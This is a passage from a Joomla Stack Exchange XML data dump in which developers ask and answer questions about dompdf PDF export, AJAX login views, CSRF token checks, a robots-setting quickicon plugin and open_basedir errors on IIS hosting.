.='&amp;lt;/div&amp;gt;';&#xA;&#xA;$dompdf = new Dompdf();&#xA;$dompdf-&amp;gt;set_option('isHtml5ParserEnabled', true);&#xA;$dompdf-&amp;gt;setPaper('A4', 'portrait');&#xA;$dompdf-&amp;gt;setBasePath(JPATH_LIBRARIES . '/dompdf');&#xA;$dompdf-&amp;gt;loadHtml($html);&#xA;$dompdf-&amp;gt;render();&#xA;$dompdf-&amp;gt;output();&#xA;&#xA;$filename = $this-&amp;gt;item-&amp;gt;alias . '.pdf';&#xA;&#xA;$dompdf-&amp;gt;stream($filename);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just place a link anywhere in your &lt;strong&gt;/components/mycom/views/item/tmpl/default.php&lt;/strong&gt; layout file using raw type pointing to the new layout &lt;strong&gt;pdf.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;index.php?option=com_mycom&amp;amp;view=myview&amp;amp;type=raw&amp;amp;layout=pdf&amp;amp;id=&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;id?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;Download PDF&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2018-10-11T18:48:43.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23581" PostTypeId="1" CreationDate="2018-10-11T18:56:16.213" Score="1" ViewCount="129" Body="&lt;p&gt;When I try to run an update from Joomla 3.4.8 to 3.6.5, I get&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the archive file is corrupt, truncated or archive parts are missing&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and then it just spins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling is not a ton of help. Permissions are set correctly on /tmp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upload and post are set to 30M.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the full path to /tmp listed in configuration.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is Windows Server 2016, PHP 5.6.38&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="12955" LastEditorUserId="12352" LastEditDate="2018-10-16T00:50:46.360" LastActivityDate="2018-10-16T00:50:46.360" Title="Error during update from 3.4.8 to 3.6.5" Tags="|upgrade|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23582" PostTypeId="1" CreationDate="2018-10-11T22:03:47.027" Score="1" ViewCount="527" Body="&lt;p&gt;I have created a custom user field named &quot;Gender&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I show this field in an article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only manage to show: &lt;code&gt;username&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;email&lt;/code&gt; and &lt;code&gt;User Id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current Sourcerer code to access the username:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source} &amp;lt;?php $user = JFactory::getUser(); echo $user-&amp;gt;get('name'); {/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12956" LastEditorUserId="12352" LastEditDate="2018-11-14T00:27:22.840" LastActivityDate="2018-11-14T00:27:22.840" Title="How can I add custom user field values to an article?" Tags="|development|articles|user|custom-field|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23583" PostTypeId="1" AcceptedAnswerId="23585" CreationDate="2018-10-12T09:39:19.590" Score="2" ViewCount="385" Body="&lt;p&gt;I've been following this tutorial to make an AJAX login form: &#xA;&lt;a href=&quot;http://www.mysite4u.net/joomla-articles/jquery-ajax-joomla-login.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mysite4u.net/joomla-articles/jquery-ajax-joomla-login.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't get it to work. The ajax call doesn't work. It gives me this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: Cannot read property 'loggedIn' of null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried reading this documentation, but I guess that it is not the AJAX component that is used in this, and it doesn't mention anything about calling components: &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my AJAX call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form = jQuery('#userForm'); &#xA;&#xA;jQuery.ajax({&#xA;    url: 'index.php?option=com_content&amp;amp;format=ajax&amp;amp;view=article&amp;amp;task=loginUser&amp;amp;tmpl=component',&#xA;    type: 'post',&#xA;    dataType: 'html',&#xA;    data: {&#xA;        form: jQuery(form).serializeArray()&#xA;    },&#xA;    async: true,&#xA;    success: function(response){&#xA;        console.log(response);&#xA;        var result = jQuery.parseJSON(response);&#xA;&#xA;        if ( result.loggedIn == 1 ) {                   &#xA;            //User logged in                    &#xA;        }&#xA;        else {                  &#xA;            //User not logged in                    &#xA;        }               &#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the function inside &lt;code&gt;components/com_content/views/article/view.ajax.php&lt;/code&gt; (&quot;view.ajax.php&quot; is a file I've created):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function _logInUser( $form ){&#xA;    $options = array();&#xA;    $credentials = array();&#xA;&#xA;    $credentials['username'] = $form[0]['value'];&#xA;    $credentials['password'] = $form[1]['value'];&#xA;&#xA;    $result = JFactory::getApplication()-&amp;gt;login($credentials, $options);        &#xA;    $result = ($result) ? 1 : 0;&#xA;&#xA;    //1     - logged in&#xA;    //0     - not logged in     &#xA;    echo json_encode( array('loggedIn' =&amp;gt; $result) );                   &#xA;    jexit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12352" LastEditDate="2018-11-12T01:02:05.823" LastActivityDate="2018-11-12T01:02:05.823" Title="Run function in com_content with ajax - doesn't call it correctly" Tags="|joomla-3.x|component|ajax|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23584" PostTypeId="2" ParentId="23583" CreationDate="2018-10-12T09:53:09.260" Score="2" Body="&lt;p&gt;Maybe I misunderstand you in your question but in the directory of com_content/views/article you cannot/should not create a &lt;strong&gt;view.html.php&lt;/strong&gt; file since it originally has a good view.html.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the tutorial which you follow the author says that you should create an &lt;strong&gt;'view.ajax.php'&lt;/strong&gt; file in com_content/views/article folder (not a view.html.php file). Maybe that is causing your problem since you created a wrong file for this ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if that is just a mistake in your question, then you also might want to study this earlier answer about ajax calls within Joomla here (it is better not to repeat that here):&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/146/what-is-the-proper-way-to-make-an-ajax-call-in-component&quot;&gt;What is the proper way to make an AJAX call in component?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-10-12T10:21:35.503" LastActivityDate="2018-10-12T10:21:35.503" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23585" PostTypeId="2" ParentId="23583" CreationDate="2018-10-12T10:21:17.707" Score="3" Body="&lt;p&gt;Apperently I was missing an important part. I needed to have the &quot;loginUser&quot; &lt;code&gt;task&lt;/code&gt; addded to the switch in &lt;code&gt;view.ajax.php&lt;/code&gt; like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display($tpl = null)&#xA;{       &#xA;    $task = JRequest::getString('task');        &#xA;    switch( $task ){                        &#xA;        case &quot;registerNewUser&quot;:         &#xA;            $this-&amp;gt;_registerNewUser( JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('form', NULL, 'ARRAY') );             &#xA;            break;&#xA;        case &quot;loginUser&quot;:           &#xA;            $this-&amp;gt;_logInUser( JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('form', NULL, 'ARRAY') );               &#xA;            break;&#xA;    }       &#xA;    jexit();                &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12743" LastEditDate="2018-11-11T16:43:24.113" LastActivityDate="2018-11-11T16:43:24.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23586" PostTypeId="1" CreationDate="2018-10-12T17:53:17.720" Score="0" ViewCount="192" Body="&lt;p&gt;Is there a way to trace this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call to a member function reorder() on boolean&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/arPvv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/arPvv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm checking my PHP Logs but this particular error isn't showing up there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It happens when I'm trying to create an article and make it featured, this error will show up. But if I refresh the list of articles, the article will have been created, and it is set as featured. So it looks like nothing went wrong, but I'm not sure if it's causing an issue somewhere else&lt;/p&gt;&#xA;" OwnerUserId="12752" LastActivityDate="2022-01-09T09:00:00.247" Title="Tracing source of this error: Call to a member function reorder() on boolean" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23587" PostTypeId="1" AcceptedAnswerId="23590" CreationDate="2018-10-12T17:54:35.920" Score="1" ViewCount="1385" Body="&lt;p&gt;I'm sending data from a form with AJAX.&#xA;The data is a username and password of the user, and therefore I want to make it as secure as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use a &lt;code&gt;token&lt;/code&gt; as an extra security layer, but it always return as &quot;&lt;strong&gt;invalid&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gone through &lt;a href=&quot;https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&lt;/a&gt; and can't see that anything should be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My login form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;#&quot; id=&quot;userForm&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;username&quot;&amp;gt;Brugernavn&amp;lt;/label&amp;gt;    &#xA;    &amp;lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;username&quot;&amp;gt;    &#xA;    &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;  &#xA;    &amp;lt;input type=&quot;password&quot; value=&quot;&quot; name=&quot;password&quot;&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_( 'form.token' ); ?&amp;gt;&#xA;    &amp;lt;button id=&quot;login-user&quot;&amp;gt;Login&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The AJAX request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.ajax({&#xA;    url: 'index.php?option=com_content&amp;amp;format=ajax&amp;amp;view=article&amp;amp;task=loginUser&amp;amp;tmpl=component',&#xA;    type: 'post',&#xA;    dataType: 'html',&#xA;    data: {&#xA;        form: jQuery(form).serializeArray()&#xA;    },&#xA;    async: true,&#xA;    success: function(response){&#xA;        console.log(response);&#xA;        var result = response;&#xA;&#xA;        if ( result.loggedIn == 1 ) {                   &#xA;            //User logged in&#xA;            jQuery('#loginModal').modal('hide');&#xA;        }&#xA;        else {                  &#xA;            //User not logged in                &#xA;        }               &#xA;    }&#xA;}); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function that gets called in my &lt;code&gt;view.ajax.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function _logInUser( $form ){&#xA;&#xA;    $options = array();&#xA;    $credentials = array();&#xA;&#xA;    var_dump($form);&#xA;    JSession::checkToken() or die( 'Invalid Token' );&#xA;    $credentials['username'] = $form[0]['value'];&#xA;    $credentials['password'] = $form[1]['value'];&#xA;&#xA;    $result = JFactory::getApplication()-&amp;gt;login($credentials, $options);        &#xA;    $result = ($result) ? 1 : 0;&#xA;&#xA;    //1     - logged in&#xA;    //0     - not logged in     &#xA;    echo json_encode( array('loggedIn' =&amp;gt; $result) );                   &#xA;    jexit();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the output in my console from &lt;code&gt;var_dump($form);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(3) {&#xA;  [0]=&amp;gt;&#xA;  array(2) {&#xA;    [&quot;name&quot;]=&amp;gt;&#xA;    string(8) &quot;username&quot;&#xA;    [&quot;value&quot;]=&amp;gt;&#xA;    string(20) &quot;myusername@something.dk&quot;&#xA;  }&#xA;  [1]=&amp;gt;&#xA;  array(2) {&#xA;    [&quot;name&quot;]=&amp;gt;&#xA;    string(8) &quot;password&quot;&#xA;    [&quot;value&quot;]=&amp;gt;&#xA;    string(8) &quot;mypassword123&quot;&#xA;  }&#xA;  [2]=&amp;gt;&#xA;  array(2) {&#xA;    [&quot;name&quot;]=&amp;gt;&#xA;    string(32) &quot;dc56f674238905e70ab3d98f9bb6e2f0&quot;&#xA;    [&quot;value&quot;]=&amp;gt;&#xA;    string(1) &quot;1&quot;&#xA;  }&#xA;}&#xA;Invalid Token&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only thing else I can think of, is that &lt;code&gt;&amp;amp;format=ajax&lt;/code&gt; or &lt;code&gt;dataType: 'html'&lt;/code&gt; should be something like &lt;code&gt;json&lt;/code&gt; or maybe &lt;code&gt;raw&lt;/code&gt; ...but when I tried that, then the call dosen't work at all.&lt;/p&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12352" LastEditDate="2019-11-16T22:57:13.540" LastActivityDate="2019-11-16T22:57:13.540" Title="AJAX POST request with form Token always responds with &quot;Invalid Token&quot;" Tags="|joomla-3.x|session|security-token|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23588" PostTypeId="1" CreationDate="2018-10-12T20:00:10.397" Score="0" ViewCount="44" Body="&lt;p&gt;I'm trying to show a warning based on robots being set to noindex or nofollow.  I've copied the PHP Version quickicons plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my php file.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Plugin&#xA; * @subpackage  Quickicon.phpversioncheck&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * Plugin to check if the robots configuration is correct filled in.&#xA; *&#xA; * @since  3.7.0&#xA; */&#xA;class PlgQuickiconKoyRobots extends JPlugin&#xA;{&#xA;&#xA;    /**&#xA;     * Application object.&#xA;     *&#xA;     * @var    JApplicationCms&#xA;     * @since  3.7.0&#xA;     */&#xA;    protected $app;&#xA;&#xA;    /**&#xA;     * Load plugin language files automatically&#xA;     *&#xA;     * @var    boolean&#xA;     * @since  3.7.0&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    /**&#xA;     * Check what Robots.txt is set to and display an error if it's hiding the site.&#xA;     *&#xA;     * @param   string  $context  The calling context&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   3.7.0&#xA;     */&#xA;    public function onGetIcons($context)&#xA;    {&#xA;        if (!$this-&amp;gt;shouldDisplayMessage())&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // $app = JFactory::getApplication();&#xA;        // $robots = $app-&amp;gt;get('robots');&#xA;        $robots = $this-&amp;gt;app-&amp;gt;get('robots');&#xA;&#xA;        /*&#xA;            Blank = index, follow&#xA;            noindex, follow&#xA;            index, nofollow&#xA;            noindex, nofollow&#xA;        */&#xA;&#xA;        // $app-&amp;gt;enqueueMessage('This is an error', 'error');&#xA;        $this-&amp;gt;app-&amp;gt;enqueueMessage('This is an error', 'error');&#xA;        if ($robots == &quot;noindex, follow&quot;){&#xA;            // Add a message to the message queue&#xA;            $this-&amp;gt;app-&amp;gt;enqueueMessage(JText::_('PLG_QUICKICONS_KOY_ROBOTS_NO_INDEX_FOLLOW'), 'error');&#xA;        }&#xA;        if ($robots == &quot;index, nofollow&quot;){&#xA;            // Add a message to the message queue&#xA;            $this-&amp;gt;app-&amp;gt;enqueueMessage(JText::_('PLG_QUICKICONS_KOY_ROBOTS_NO_INDEX_NO_FOLLOW'), 'error');&#xA;        }&#xA;        if ($robots == &quot;noindex, nofollow&quot;){&#xA;            // Add a message to the message queue&#xA;            $this-&amp;gt;app-&amp;gt;enqueueMessage(JText::_('PLG_QUICKICONS_KOY_ROBOTS_INDEX_NO_FOLLOW'), 'error');&#xA;        }&#xA;    }&#xA;&#xA;&#xA;&#xA;    /**&#xA;     * Determines if the message should be displayed&#xA;     *&#xA;     * @return  boolean&#xA;     *&#xA;     * @since   3.7.0&#xA;     */&#xA;    private function shouldDisplayMessage()&#xA;    {&#xA;        // Only on admin app&#xA;        if (!$this-&amp;gt;app-&amp;gt;isClient('administrator'))&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        // Only if authenticated&#xA;        if (JFactory::getUser()-&amp;gt;guest)&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        // Only on HTML documents&#xA;        if ($this-&amp;gt;app-&amp;gt;getDocument()-&amp;gt;getType() !== 'html')&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        // Only on full page requests&#xA;        if ($this-&amp;gt;app-&amp;gt;input-&amp;gt;getCmd('tmpl', 'index') === 'component')&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        // Only to com_cpanel&#xA;        if ($this-&amp;gt;app-&amp;gt;input-&amp;gt;get('option') !== 'com_cpanel')&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It installs correctly and all of the language files show, so I'm pretty sure the error is within this file.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No message displays.   &lt;/li&gt;&#xA;&lt;li&gt;The plugin is activated.  &lt;/li&gt;&#xA;&lt;li&gt;The robots text is set to a value that&#xA;should show (noindex, nofollow)  &lt;/li&gt;&#xA;&lt;li&gt;I am on the dashboard.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2018-10-13T11:43:03.607" LastActivityDate="2018-10-13T11:43:03.607" Title="How can I display a message based upon the value of a config item" Tags="|plugin|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23589" PostTypeId="2" ParentId="23588" CreationDate="2018-10-12T22:27:25.753" Score="2" Body="&lt;p&gt;This&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getapp();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or because the app property has already been made protected above you can just use it like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;app-&amp;gt;get('robots');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the fact that it didn't throw a fatal error suggests to me that either you didn't enable the plugin after installation, or you weren't looking in the control panel where the quick icons appear.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-10-12T22:27:25.753" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23590" PostTypeId="2" ParentId="23587" CreationDate="2018-10-12T23:07:07.007" Score="2" Body="&lt;p&gt;By default JSession::checkToken() checks the post request for a value named the token.  It can also be set to look for get values in a query string like JSession::checkToken('get').  It doesn't know that a variable you've serialized manually in a structure you built yourself and called 'form' is where to find the token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test it manually you could do something like the following:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($form[2]['name'] != JSession::getFormToken()){die();}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't tested that but I don't see why it shouldn't work.  Once a csrf token is made for the session it generally stays the same.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-10-12T23:07:07.007" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23592" PostTypeId="1" AcceptedAnswerId="23594" CreationDate="2018-10-13T18:11:42.010" Score="0" ViewCount="151" Body="&lt;p&gt;I'm working on a custom joomla module. It has a form with an &quot;editor&quot; type field. The fields are defined in the related xml file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;            ...&#xA;            &amp;lt;field&#xA;                name=&quot;Message&quot;&#xA;                type=&quot;editor&quot;&#xA;                label=&quot;Message&quot;&#xA;                filter=&quot;safehtml&quot;&#xA;                readonly=&quot;true&quot;&#xA;            /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I press the button to submit the form all other form fields are properly submitted, but not the editor field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked that if I change the field type to &quot;textarea&quot;, the text gets posted correctly. So it must be something with the editor field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do to be able to submit the text entered into the editor field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot, W.&lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2018-10-13T19:19:19.840" Title="Joomla editor field type text not posted when submitted" Tags="|jform|form|form-fields-types|editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23593" PostTypeId="1" CreationDate="2018-10-13T18:54:55.643" Score="1" ViewCount="275" Body="&lt;p&gt;I have the following setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IIS 10 with Plesk Onyx 17.8.11.&lt;/li&gt;&#xA;&lt;li&gt;Joomla 3.8.13/PHP 7.2.10. The website is hosted in shared hosting provider.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After installing &lt;a href=&quot;http://gantry.org/downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gantry 5&lt;/a&gt; I get the following warning on the Joomla &lt;em&gt;Control Panel&lt;/em&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SplFileInfo::isFile(): open_basedir restriction in effect. File(gantry-themes:/\beez3) is not within the allowed path(s): (D:/Inetpub/vhosts/xxx\;C:\Windows\Temp)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;em&gt;PHP Settings&lt;/em&gt; tab of the Joomla &lt;em&gt;System Information&lt;/em&gt; page I see the following setting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Open basedir  D:/Inetpub/vhosts/xxx\;C:\Windows\Temp\&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, the &lt;code&gt;D:/Inetpub/vhosts/xxx\&lt;/code&gt; is incorrect since the root folder of the website is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;D:/Inetpub/vhosts/xxx/yyy&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, I had to set the &lt;em&gt;Path to Temp Folder&lt;/em&gt; to &lt;code&gt;D:/Inetpub/vhosts/xxx/yyy/tmp&lt;/code&gt; in the Joomla &lt;em&gt;Global Configuration Server Settings&lt;/em&gt; in order to install &lt;a href=&quot;http://gantry.org/downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gantry&lt;/a&gt; using the Joomla &lt;em&gt;Install From Folder&lt;/em&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, I cannot find a way to modify the value of &lt;code&gt;Open basedir&lt;/code&gt; setting either from Plesk or otherwise. As a result, the Gantry component page reports the same error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Twig_Error_Runtime&#xA;  An exception has been thrown during the rendering of a template (&quot;SplFileInfo::isFile(): open_basedir restriction in effect. File(gantry-themes:/\beez3) is not within the allowed path(s): (D:/Inetpub/vhosts/xxx\;C:\Windows\Temp)&quot;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Please note, that I refer to Gantry as an example; The same problem occurs for every other Joomla extension I tried to install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to properly configure Joomla/PHP on my setup?&lt;/p&gt;&#xA;" OwnerUserId="12968" LastActivityDate="2018-10-13T18:54:55.643" Title="How to configure PHP basedir for Joomla running on IIS shared hosting" Tags="|joomla-3.x|php|iis|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23594" PostTypeId="2" ParentId="23592" CreationDate="2018-10-13T18:58:42.980" Score="1" Body="&lt;p&gt;Are you sure that you want to set the editor field type to readonly='true' ? Maybe it's just a mistake. I do not see the logic behind that. That way you could not really edit and submit anything via the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla documentation there is no possible attribute of readonly to editor field type.&#xA;Link to doc: &lt;a href=&quot;https://docs.joomla.org/Editor_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Editor_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-10-13T19:19:19.840" LastActivityDate="2018-10-13T19:19:19.840" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23595" PostTypeId="1" AcceptedAnswerId="23596" CreationDate="2018-10-13T19:49:17.683" Score="3" ViewCount="1228" Body="&lt;p&gt;I've got a website that uses an AJAX call to login a user. To secure this, I've added a token to the login form - &lt;a href=&quot;https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the problem is that, when the user is inactive for a while, the Joomla auto logout is fired. And therefor my token dosen't work.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I refresh the token by AJAX before making the login call?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;----------------------------------------------------- More details: -----------------------------------------------------------&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The normal operation of the form is omitted in AJAX by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#login-user').click(function(e){            &#xA;e.preventDefault(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the login AJAX call is send:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form = jQuery('#userForm'); &#xA;&#xA;jQuery.ajax({&#xA;    url: 'index.php?option=com_content&amp;amp;format=ajax&amp;amp;view=article&amp;amp;task=loginUser&amp;amp;tmpl=component',&#xA;    type: 'post',&#xA;    dataType: 'html',&#xA;    data: {&#xA;        form: jQuery(form).serializeArray()&#xA;    },&#xA;    async: true,&#xA;    success: function(response){&#xA;        var result = jQuery.parseJSON(response);&#xA;&#xA;        if ( result.loggedIn == 1 ) {                       &#xA;            //User logged in&#xA;            jQuery('#loginModal').modal('hide');&#xA;            window.location.href = window.location.pathname + window.location.search + window.location.hash;// reload page creates a history entry&#xA;        }&#xA;        else {                  &#xA;            //User not logged in    &#xA;            console.log(&quot;not&quot;);         &#xA;        }               &#xA;    }&#xA;}); 